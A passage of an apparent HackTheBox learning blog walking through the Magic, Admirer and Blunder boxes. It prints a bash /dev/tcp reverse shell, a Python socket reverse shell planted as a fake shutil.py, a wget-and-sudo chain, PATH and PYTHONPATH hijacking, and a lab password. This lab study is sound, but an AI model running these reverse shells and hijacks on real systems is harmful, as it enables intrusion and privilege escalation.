src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not work through the web page, but surprisingly it did work locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had only used curl against index.php to send the login request. I missed this detail.&lt;/p&gt;&#10;&lt;p&gt;Second point:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the reason. The web service was launched under joanna&amp;rsquo;s identity, so even though root started it, its user identity remained joanna. The configuration file was under /etc/apache2/sites-enabled.&lt;/p&gt;&#10;&lt;p&gt;Third point:&lt;/p&gt;&#10;&lt;p&gt;The first time through, I had not found jimmy&amp;rsquo;s password—the database password—because I had not inspected that file carefully enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was visible in the process list, though. There was a scheduled task, which I only noticed later.&lt;/p&gt;&#10;&lt;h2 id="22magic"&gt;&lt;a href="#22magic" class="header-anchor"&gt;&lt;/a&gt;22.Magic&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the conclusion: getting a shell wasn&amp;rsquo;t too difficult.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login endpoint was vulnerable to sql injection. Blind injection did not work for me, but I could still enter the admin panel.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not redirect automatically, so I thought I would have to inject manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, the Location header indicated a redirect to upload.php.&lt;/p&gt;&#10;&lt;p&gt;The session had already been written to the database, so visiting it directly did not produce a permissions error. I only needed to log in with a universal password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The upload page used a whitelist, so I will again skip to the conclusion: I needed to bypass it. upload_labs includes a %20 truncation technique. I tried it and it worked, as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visiting the uploaded file successfully returned a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I began privilege-escalation reconnaissance.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That explained why sleep had not worked.&lt;/p&gt;&#10;&lt;p&gt;I had looked through nearly everything, including the Theseus user&amp;rsquo;s directory. The only remaining lead was a mysql service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The database credentials I had obtained did not let me su to the target user; it reported an incorrect password.&lt;/p&gt;&#10;&lt;p&gt;ssh also said that only a private key could be used. I&amp;rsquo;ll jump straight to the result here.&lt;/p&gt;&#10;&lt;p&gt;I had checked everything else except mysql, and mysql was not available directly on the target, so I had to forward the port.&lt;/p&gt;&#10;&lt;p&gt;I used frp here.&lt;/p&gt;&#10;&lt;p&gt;frps -c frps.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;frpc -c frpc.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just start it up.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u theseus -P 6000 -p -h localhost Magic&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully switched to theseus.&lt;/p&gt;&#10;&lt;p&gt;I continued gathering information, but found nothing useful. I checked every suid binary.&lt;/p&gt;&#10;&lt;p&gt;Then I found something interesting. My current user was also in the users group, which matched this exactly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through everything and only learned that this was specifically intended for the users group. I did not know how to use it.&lt;/p&gt;&#10;&lt;p&gt;I eventually ran out of ideas and only learned from the write-up that this could be exploited. It was quite complicated for me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I knew the entry point, I started working through it. The commands it invoked had no restrictions, and it executed both of them as root.&lt;/p&gt;&#10;&lt;p&gt;In other words, the first command found through the environment&amp;rsquo;s search path would be executed by root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The search order above eventually reached /sbin, where fdisk lived, but none of the earlier directories were writable.&lt;/p&gt;&#10;&lt;p&gt;I could still use export to set a temporary environment variable. After reading about it, I ran:&lt;/p&gt;&#10;&lt;p&gt;export PATH=/tmp:$PATH&lt;/p&gt;&#10;&lt;p&gt;This made it search the tmp directory first.&lt;/p&gt;&#10;&lt;p&gt;I wrote the reverse-shell command into fdisk.&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.3/6666 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo; /tmp/fdisk&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection came back successfully. That was the end.&lt;/p&gt;&#10;&lt;p&gt;This unconventional privilege escalation was a little difficult. The box focused heavily on escalation, and I genuinely did not expect the path from theseus to root to be hidden here. Still, this is a standard oscp box, so I clearly need to broaden my thinking. There are many suid files, and the hints were the current user&amp;rsquo;s users group and the root-owned file with an s bit.&lt;/p&gt;&#10;&lt;p&gt;They matched perfectly. The hint was buried rather deeply. I had also never considered that a command might invoke system commands without absolute paths and instead rely on the environment&amp;rsquo;s search path. That was hidden very well.&lt;/p&gt;&#10;&lt;h2 id="23admirer"&gt;&lt;a href="#23admirer" class="header-anchor"&gt;&lt;/a&gt;23.Admirer&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I will give the result directly. ftp did not allow anonymous login, but directory brute-forcing revealed the ftp password. After logging in over ftp, I found two files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0528.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Extracting them revealed an important file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;http://10.10.10.187/utility-scripts/admin_tasks.php&lt;/p&gt;&#10;&lt;p&gt;Its main behavior was to execute shell_exec(&amp;quot;/opt/scripts/admin_tasks.sh $task 2&amp;gt;&amp;amp;1&amp;quot;) when task was between 1-7.&lt;/p&gt;&#10;&lt;p&gt;So I only needed to submit a number and append a command after it, mainly by bypassing the 1-7 if condition.&lt;/p&gt;&#10;&lt;p&gt;But php weak typing could not bypass it at all.&lt;/p&gt;&#10;&lt;p&gt;There was simply no vulnerability at this point. I had brute-forced nearly every directory I found.&lt;/p&gt;&#10;&lt;p&gt;In the end I found no way forward, so I checked the next step in a write-up and discovered another file named adminer.php. Its name differed from the box name by only one character, but I had not found it. The write-up&amp;rsquo;s next step supposedly followed from a hint, yet I had not noticed any hint at all.&lt;/p&gt;&#10;&lt;p&gt;I now had a new entry point: adminer.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried connecting with the credentials I had obtained earlier, but it did not work at all. This held me up for a very long time. I never expected to get stuck here for so long. Eventually I had no other choice and glanced at a write-up.&lt;/p&gt;&#10;&lt;p&gt;Its hint said that since there was no way to connect to this mysql instance, another approach was needed:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f" target="_blank" rel="noopener"&#10; &gt;https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The idea was that CVE-2021-43008 reads files locally from Adminer&amp;rsquo;s host. We only needed to log in and connect it to a backend database; it did not matter whose database it was.&lt;/p&gt;&#10;&lt;p&gt;That gave me another entry point, and this time everything went smoothly.&lt;/p&gt;&#10;&lt;p&gt;I started mysql on kali. These are the posts I used as references:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/dll102/p/16008382.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/dll102/p/16008382.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/lxyoucan/article/details/131282508" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/lxyoucan/article/details/131282508&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After completing those steps, the remote server could connect. This was the most important part.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That let me get in. I then followed the post below to exploit the arbitrary file-read vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://podalirius.net/en/cves/2021-43008/" target="_blank" rel="noopener"&#10; &gt;https://podalirius.net/en/cves/2021-43008/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;One detail matters here: files such as /etc/passwd could not be read. I later guessed the /var/www/html directory and could read its contents, but utility-scripts/db_admin.php did not exist, so I could not extract database passwords or similar information. Eventually I discovered that /var/www/html/index.php still contained a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection had failed because the password was different.&lt;/p&gt;&#10;&lt;p&gt;I actually tried many things at this stage, including reading passwd and waldo&amp;rsquo;s private key, but none helped. Only then did I find this.&lt;/p&gt;&#10;&lt;p&gt;The password worked for ssh, giving me a foothold. Once connected, I had a password, so my first command was sudo -l.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was something useful. Here was my reasoning.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not have permission to modify it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All the parameters explicitly named their files, so changing environment variables could not bypass anything. Even /usr/bin/mysqldump lacked write permission.&lt;/p&gt;&#10;&lt;p&gt;That made backup.py very suspicious.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I only had read permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The path was now fairly obvious: create a fake shutil.py file. The program would import shutil.py automatically when it started, and top-level code in that module would run as well, so I only needed to add a shell.&lt;/p&gt;&#10;&lt;p&gt;The plan was therefore to hijack a python library. There are two extremely common methods. The first is to place shutil.py beside backup.py, since it will prefer the library in the current directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I did not have write permission there.&lt;/p&gt;&#10;&lt;p&gt;The second is to modify shutil.py in the installed library directly, but I did not have permission for that either.&lt;/p&gt;&#10;&lt;p&gt;Neither worked. After searching google, I found two more approaches. One was to add an environment variable in the current terminal.&lt;/p&gt;&#10;&lt;p&gt;export PYTHONPATH=/tmp/&#10;But that still did not work for me.&lt;/p&gt;&#10;&lt;p&gt;The second was to pass the environment variable through sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;echo &amp;lsquo;import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((&amp;ldquo;10.10.16.21&amp;rdquo;,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(&amp;ldquo;sh&amp;rdquo;)&amp;rsquo; &amp;gt; shutil.py&lt;/p&gt;&#10;&lt;p&gt;Writing the file this way did not preserve the escapes, so I transferred it from kali instead. Then I only needed to construct the final command.&lt;/p&gt;&#10;&lt;p&gt;wget &lt;a class="link" href="http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod&lt;/a&gt; 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was the end.&lt;/p&gt;&#10;&lt;p&gt;In my view, this box fits oscp very well. Precisely because it does, many parts were unusually complex.&lt;/p&gt;&#10;&lt;p&gt;First, I never thought of looking for adminer.php. Second, I could not find anything about this Adminer behavior. The first tested my methodology, while the second tested my search skills—essentially my ability to choose effective Google search terms.&lt;/p&gt;&#10;&lt;p&gt;Then came privilege escalation. That part was comparatively simple, but I wasted a lot of time on the python import behavior. The first three methods never worked. I finally learned that placing an environment variable after sudo passes it directly to the command following sudo. Simply running export PYTHONPATH=/home/waldo left the later command unable to see it. sudo -E might also have carried the variable across, but in practice it did not. I wasted a lot of time here too.&lt;/p&gt;&#10;&lt;h2 id="24blunder"&gt;&lt;a href="#24blunder" class="header-anchor"&gt;&lt;/a&gt;24.Blunder&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the result. The initial reconnaissance may have involved a port-knocking sequence to open a port, so I made a note of that and moved on. The website&amp;rsquo;s information revealed the framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;BLUDIT v3.9.2&lt;/p&gt;&#10;&lt;p&gt;I could simply find an exp and run it. Searching kali for exploits matching this version only returned a user-brute-forcing script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The username had been revealed as well.&lt;/p&gt;&#10;&lt;p&gt;Everything pointed toward brute force: I had a username and a version number, and this user-brute-forcing script only applied to version 3.9.2 and earlier.&lt;/p&gt;&#10;&lt;p&gt;I used cewl to crawl the home page and generate a wordlist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I just ran the script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I now had credentials, but kali did not include an rce script. I found a suitable script through google.&lt;/p&gt;&#10;&lt;p&gt;Introduction: &lt;a class="link" href="https://www.anquanke.com/post/id/197105" target="_blank" rel="noopener"&#10; &gt;https://www.anquanke.com/post/id/197105&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Script: &lt;a class="link" href="https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It could be used directly, although it might need a small change to avoid a problem.&lt;/p&gt;&#10;&lt;p&gt;The main problem was here. The error message led me to the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The URL must not end in /, or it errors out.&lt;/p&gt;&#10;&lt;p&gt;I obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation by checking the configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a pile of db.php files, but they contained nothing. I then reached user.php under databases, which held usernames and passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first password was salted. The account was admin, and john could brute-force it.&lt;/p&gt;&#10;&lt;p&gt;But the second one, from version 3.10, had a user named hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There also happened to be a hugo home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;hugo:Password120&#9;&#9;I could simply run su hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That switched me directly to shaun.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum provided an exploitation lead. I had actually noticed this while running as www-data: the user belonged to an unusually large number of groups, so it was worth looking for group-accessible programs that might be exploitable.&lt;/p&gt;&#10;&lt;p&gt;However, there were no exploitable executables for those groups. I kept looking for a path forward but could not find one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had found the version and tried exploiting vulnerabilities that affected it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Eventually I found this: &lt;a class="link" href="https://www.exploit-db.com/exploits/47502" target="_blank" rel="noopener"&#10; 